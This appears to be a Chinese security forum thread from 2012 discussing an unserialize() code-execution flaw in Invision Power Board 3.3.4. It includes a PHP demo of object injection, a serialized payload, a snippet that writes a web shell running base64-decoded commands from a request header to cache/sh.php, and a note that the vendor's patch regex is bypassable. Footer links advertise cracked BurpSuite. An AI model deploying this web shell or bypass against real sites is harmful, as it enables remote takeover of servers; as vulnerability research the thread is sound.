Invision Power Board <= 3.3.4 “unserialize()” PHP Code Execution
solihat (xxooooxx) | 2012-11-03 19:27
need short_open_tag On
horseluke (微碌) | 2012-11-03 23:22
用unserialize的方式来改写类的公有属性,以此引诱__destruct()、__construct()等魔法方法运行时改变运行逻辑。这个技巧,极其猥琐…
好在平常只用base64_decode($str)+parse_str($str, $arr)组合…..
Matt | 2012-11-03 23:41
mark
@xsser 你要的漏洞原理代码(请使用命令行执行查看结果)
index_harm.php<?php
/**
* 恶意修改one_class内的公有属性代码
* @version $Id$
*/
class one_class{
public $version = '999.0';
public $debug = true;
public function method_2(){
}
}
echo serialize(new one_class());
index.php
<?php
/**
* Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution漏洞成因代码简化版
* @link http://www.exploit-db.com/exploits/22398/
* @version $Id$
*/
/**
* one_class(含有完整功能的示例类)
*/
class one_class{
/**
* 随机分配的运行id
* @var int
*/
private $id = 0;
/**
* 版本号(PHP 5设置属性为公有访问的写法)
* @var string
* @access public
*/
public $version = '1.0';
/**
* 调试模式?(PHP 4属性写法,均为公有访问)
* @var string
* @access public
*/
var $debug = false;
/**
* 魔术方法:创建类实例时调用
* @return one_class
*/
public function __construct(){
$this->id = mt_rand(1, 100000);
echo "[id:{$this->id}]". '__construct >>>>>> Version:'. $this->version. "\r\n";
}
/**
* 魔术方法:unserialize()调用的方法,按照手册说法,用于“预先准备对象数据”。
*/
public function __wakeup(){
echo "[id:{$this->id}]". '__wakeup >>>>>> Version:'. $this->version. "\r\n";
}
/**
* 魔术方法:对象被销毁前所调用方法
*/
public function __destruct(){
if(true === $this->debug){
echo "[id:{$this->id}]". '__destruct >>>>>> Version:'. $this->version. ' Writing Log...'. "\r\n";
}else{
echo "[id:{$this->id}]". '__destruct >>>>>> Version:'. $this->version. ' Ignore Log...'. "\r\n";
}
}
}
echo "\r\n//////normal_class_var DEMO BEGIN.//////\r\n";
/**
* 正常的、不修改任何属性的类,其活动轨迹为__construct()和__destruct()
* 所以,随机分配的运行id必为大于0的值,并且debug状态为false
*/
$normal_class_var = new one_class();
var_dump($normal_class_var);
echo "\r\n//////normal_class_var DEMO FINISH...REALLY FINISH?!//////\r\n\r\n\r\n";
/**
* unserialize时,并不会调用__construct(),而会调用__wakeup(),这导致随机分配的运行id必等于0的值
* $exp_serialized_data则演示了,如何通过unserialize修改公有属性,从而产生debug被打开,并在后续进行__destruct时触发漏洞。
* $exp_serialized_data的内容获取方法请参考index_harm.php
* @var string
*/
$exp_serialized_data = 'O:9:"one_class":2:{s:7:"version";s:5:"999.0";s:5:"debug";b:1;}';
echo "\r\n//////exp_serialized_data DEMO BEGIN.//////\r\n";
$exp_serialized_data = unserialize($exp_serialized_data);
var_dump($exp_serialized_data);
echo "\r\n//////exp_serialized_data DEMO FINISH...REALLY FINISH?!//////\r\n\r\n\r\n";
horseluke (微碌) | 2012-11-04 01:47
IPB修补代码IPSLib::safeUnserialize()来源:
http://cn2.php.net/manual/zh/function.unserialize.php#106411
有趣的是,代码来源还附了一个09年的相似案例:Piwik Cookie Unserialize() Vulnerability
http://www.suspekt.org/2009/12/09/advisory-032009-piwik-cookie-unserialize-vulnerability/
Joker (资深服务员) | 2012-11-04 06:48
把php代码放在$obj[‘shutdown_queries’]里就对short_tag_open没要求了。class db_driver_mysql
{
public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php', 'shutdown_queries' => array('<?php error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'));
}
horseluke (微碌) | 2012-11-05 23:57
手工查了几个热门国内程序,发现大家基本不用魔术方法的,所以利用不起来……
侧面说明,高级的oop用法普及率并不高……
GaRY | 2012-11-06 10:23
http://adminextra.com/threads/ip-board-3-1-x-3-2-x-and-3-3-x-hacked.6125/
ipb官方提供的补丁:else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
{
// in case we did have a string with O: in it,
// but it was not a true serialized object
return @unserialize( $serialized );
}
不过被se神人喷了个狗血淋头:
The regular expression '/(^|;|{|})O:[0-9]+:"/' is easily bypassed because of a bunch of unserialize() parser quirks.
O:+17: is just one of many :P
GaRY | 2012-11-06 10:54
@xsser 我只是告诉大家这个漏洞就算修补了还继续有玩头:P
修补什么因为不了解ipb用serialize是不是为了他什么特性,所以我也不能乱说。
顺带我对那个”a bunch of unserialize() parser quirks.”很有兴趣,有人有研究没
horseluke (微碌) | 2012-11-06 12:10
@GaRY php中使用serialize的原因很简单:只有它才可以精确地以相对安全的以字符串形式保存php变量(memcache等缓存方案默认也是基于serialize来做的);其它方案中,json、urlstring等方式都会存在精度和数据丢失问题,var_export+eval危害什么的你懂的。
如果源头控制unserialize,不允许object形式,应该会好一些,但这会使得某些全oop程序陷入麻烦中。
话说,我也很想知道这些quirks,而且现在php手册中竟然没了之前我提过的内容,估计是被喷怕了,删掉了……
PS:就这个漏洞而言,主要是ipb db_driver_mysql的父类(忘了是哪个了)有个公有属性$obj,在__destruct()中部分逻辑会依据公有属性$obj控制一些日志写入。
horseluke (微碌) | 2012-11-07 15:01
softbug (算了,我还是做好我自己的东西) | 2012-11-19 22:02
国内没用,那是大智如愚
生活累,一小半源于生存,一大半源于攀比。
2016-10-5
BurpSuite 1.7.11破解版下载【附多/新版本下载】
2016-11-5
Connectify Dispatch指定程序使用指定网卡[运维神器]
2014-3-25
网站备案流程_网站备案需要什么[简单明了解决备案各种问题]
2018-2-3
最新BurpSuite 1.7.32 破解版[注册机]下载【无后门版】
2016-11-8
php一句话后门的几种变形分析[preg_replace函数]
2016-10-24
hackyou2014 CTF web关卡通关攻略 - mickey
2016-10-24
Android密码学相关 - 瘦蛟舞
2016-10-24
webgame中常见安全问题、防御方式与挽救措施 - cfc4n
2016-10-24
XSS与字符编码的那些事儿 ---科普文 - 0x_Jin
2016-10-24
深入调查 Angler 漏洞攻击工具(EK) - virustracker